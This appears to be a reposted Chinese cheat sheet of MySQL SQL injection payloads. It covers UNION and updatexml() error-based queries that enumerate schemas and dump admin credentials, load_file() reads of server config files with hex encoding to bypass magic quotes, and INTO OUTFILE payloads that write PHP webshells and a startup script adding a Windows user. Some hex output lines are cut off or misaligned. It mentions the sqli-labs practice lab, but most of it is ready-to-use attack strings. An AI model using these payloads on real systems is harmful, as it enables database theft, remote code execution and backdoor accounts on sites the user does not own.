SQL注入之MySQL
Posted 安全鸭
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之MySQL相关的知识,希望对你有一定的参考价值。
order by x
union select 1,2,3,4,5
union select 1,version(),database(),4,5
# 获取数据库信息,其他:
union select distinct table_schema from information_schema.tables;
# 查找当前主机所有数据库名称(权限允许)
information_schema.tables #记录表名信息的表
information_schema.columns #记录列名信息的表
table_name #表名
column_name #列名
table_schema #数据库名
user() # 用户名
database() # 数据库名
version() # 数据库版本
@@datadir # 读取数据库文件路径
@@basedir # 安装路径
@@version_compile_os # 操作系统
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x6D7574696130313231--+
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,1 from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7574696130313231--+
union select 1,group_concat(name,0x5c,password),3,4,5,6,7,8,9,10 from admin limit 0,1--+
单引号探测显错注入,出现报错如下初步判断目标可能存在显错注入,显错注入有很多函数,其中floor()、extractvalue()、updatexml()三个函数是比较常用,以下只记录了updatexml函数的显错利用
# 查看当前用户和数据库名
'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
# 查看数据库名(通过limit()函数可以遍历所有数据库名称)
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+
# 查看所有数据库
'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
#指定数据库名称来查看表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+
#查看当前数据库的表名(通过limit()函数可以遍历当前数据库所有表名)
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
#指定数据库名和表名查询列名(通过limit()函数可以遍历目标的所有列)
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)--+
#指定数据库名和表名一次查询所有列名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+
#指定数据库名和表名查询列名,可使用limit函数遍历
'and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+
'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,30),0x7e),1)--+ 'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),30,60),0x7e),1)--+
696E666F726D6174696F6E5F736368
8656D612C3569736E732C3734636D73
32C6262636275696C6465722C626565
5732C62776170702C63617466697368
82C6368616C6C656E6765732C637763
36D732C64616D69636D732C64656465
5636D737635372C64697363757A3732
22C64697363757A372E322C64767761
12C6561725F6170702C6563746F7563
696E666F726D6174696F6E5F736368656D612C3569736E732C3734636D732C6262636275696C6465722C626565732C62776170702C636174666973682C6368616C6C656E6765732C6377636D732C64616D69636D732C646
1. load_file()读取函数:
该函数是用来读取源文件
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
路径符号要使用反斜杠
如果转换十六进制数进行读写,转换时不要带引号'
# 常见配置文件路径读取:
/etc/httpd/conf/httpd.conf
user/local/httpd/conf/httpd.conf
windows服务器:c:/windows/system32/inetsrv/metabase.xml
读取网站内容
union select 1,load_file('C:\1.txt'),3,4,5,6,7,8,9,10
union select 1,load_file(0x433A5C5C312E747874),3,4,5,6,7,8,9,10
#16进制编码绕过魔术引号或者addslashes()防护函数限制
2.写入函数 into outfile
union select 1,"<?php @eval($_POST['CMD']);?>",3,4,5,6,7,8,9,10 into outfile 'C:/1.php'
# 1.将创建用写入开机启动项。需要使用wamp环境搭建&系统权限才能执行
union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'
# 2.写入一句话
union select 1,"<pre><body><? @system($_GET['cmd']); ?></body></pre>",3,4,5,6, into outfile 'C:/1.php'
写入文件条件:
Windows root权限(linux环境下root用户可能无写入权限)
关闭魔术引号
找到网站物理路径
--secure-file-priv设置为null或者允许导入路径
写入和读取文件路径符号斜杠使用'/'或者'\'
admin+++++++++++++++++++++++++
漏洞环境:sqli-labs less-32
sqlmap插件:unmagicquotes.py
漏洞利用条件:GBK+windows环境才能使用宽字节注入.
本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除
===============================================
以上是关于SQL注入之MySQL的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段